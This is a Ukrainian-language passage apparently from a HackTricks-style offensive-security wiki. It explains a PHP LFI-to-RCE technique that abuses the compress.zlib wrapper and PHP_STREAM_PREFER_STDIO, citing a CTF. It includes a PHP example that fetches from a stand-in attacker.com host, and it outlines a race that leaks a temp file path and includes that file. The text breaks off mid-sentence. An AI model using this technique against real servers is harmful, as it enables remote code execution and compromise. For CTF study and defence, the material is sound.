# LFI2RCE Через compress.zlib + PHP_STREAM_PREFER_STDIO + Витік шляху {{#include ../../banners/hacktricks-training.md}} ### `compress.zlib://` та `PHP_STREAM_PREFER_STDIO` Файл, відкритий за допомогою протоколу `compress.zlib://` з прапором `PHP_STREAM_PREFER_STDIO`, може продовжувати записувати дані, які надходять до з'єднання пізніше, до того ж файлу. Це означає, що виклик, такий як: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` Відправить запит на http://attacker.com/file, тоді сервер може відповісти на запит дійсною HTTP-відповіддю, підтримувати з'єднання відкритим і надіслати додаткові дані деякий час потому, які також будуть записані у файл. Ви можете побачити цю інформацію в цій частині коду php-src у main/streams/cast.c: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ### Умова гонки для RCE [**Цей CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) був вирішений за допомогою попереднього трюку. Зловмисник змусить **сервер жертви відкрити з'єднання для читання файлу з сервера зловмисника** за допомогою **`compress.zlib`** протоколу. **Поки** це **з'єднання** існує, зловмисник **екстрагує шлях** до тимчасового файлу, що був створений (він витікає з сервера). **Поки** **з'єднання** все ще відкрите, зловмисник **використає LFI для завантаження тимчасового файлу**, яким він керує. Однак, на веб-сервері є перевірка, яка **запобігає завантаженню файлів, що містять `